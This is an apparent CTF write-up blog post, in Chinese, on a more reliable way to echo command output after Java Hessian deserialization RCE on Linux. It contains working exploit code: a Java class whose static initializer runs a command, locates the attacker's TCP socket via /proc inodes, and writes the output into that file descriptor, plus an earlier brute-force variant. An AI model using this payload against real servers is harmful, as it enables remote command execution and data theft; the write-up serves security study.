linux通杀回显手段的优化

发布于 2024-10-30  2311 次阅读


linux通杀回显手段的优化

之前在复现das暑期赛的一道hessian反序列化的时候,看到了派神的这篇文章
从rwctf体验赛的old-shiro一题学习linux通用命令回显方法
大致就是通过暴力枚举文件描述符,将RCE的结果写到客户端连接的socket描述符中,从而回显到响应中,payload是:

java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
                c.setAccessible(true);
                for(int i=3;i<50;i++){
                    try {
                        new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine().getBytes());
                    }catch (Exception e){}
                }

枚举了3-50的文件描述符并写入。不过我本地复现的时候,环境无论是wsl还是docker都要枚举到100才能回显,并且通常要反复发包多次才能拿到回显,偶尔也会出现靶机崩掉的情况

这里就想以一个更精准一些的方式来写入回显,列出所有fd,根据/proc/$PPID/net/tcp6中的inode可以确定每一个tcp连接对应的socket文件描述符是哪个。
image_mak
image_mak
image_mak
CTF环境中,只要把所有本地地址都去除,剩下的就是和我们客户端的tcp连接了

cat /proc/5186/net/tcp6 |grep -v '00000000000000000000000000000000:0000'| awk '{print $10}' | tail -n +2

把这些连接的inode取出来去匹配socket文件连接符号即可

ls -l /proc/5186/fd | grep socket | grep '\[88773\]' |awk '{print $9}'

image_mak

exp:

public class linuxexp {
    static {
        try{
            System.out.println("starting");
            Constructor c = FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
            c.setAccessible(true);

            Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","/readflag"});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder result = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            String ret = result.toString();

            String[] cmd = { "/bin/sh","-c","cat /proc/$PPID/net/tcp6 |grep -v '00000000000000000000000000000000:0000'| awk '{print $10}' | tail -n +2"};
            java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
            java.io.InputStreamReader isr  = new java.io.InputStreamReader(in);
            java.io.BufferedReader br = new java.io.BufferedReader(isr);
            LinkedList<String> inodes = new LinkedList<>();

            while ((line = br.readLine() )!= null){
                if(!line.equals("0")){
                    inodes.add(line);
                }
            }
            System.out.println(inodes);
            for (String inode : inodes){
                String[] cmd1 = { "/bin/sh","-c","ls -l /proc/$PPID/fd | grep socket | grep '\\["+inode+"\\]' |awk '{print $9}'"};
                java.io.InputStream in1 = Runtime.getRuntime().exec(cmd1).getInputStream();
                java.io.InputStreamReader isr1  = new java.io.InputStreamReader(in1);
                java.io.BufferedReader br1 = new java.io.BufferedReader(isr1);
                LinkedList<Integer> fds = new LinkedList<>();
                String line1 = br1.readLine();
                if (line1!=null && !line1.isEmpty()){
                    int fd = Integer.parseInt(line1);
                    FileDescriptor fileDescriptor = (FileDescriptor) c.newInstance(new Object[]{fd});
                    new FileOutputStream(fileDescriptor).write(ret.getBytes());
                }
            }
        } catch (Exception e) {
        }

}}

循环里没有用到try-catch
image_mak
比较稳定,一次成功

不过我的和pankas的exp我这里测试,放到docker环境里就不行了,不知道为什么,docker里面涉及到的一些bash指令测过都是有的,估计是我docker环境的问题,因为找了个测试das的题目是能通的。

A web ctfer from 0RAYS
最后更新于 2024-10-30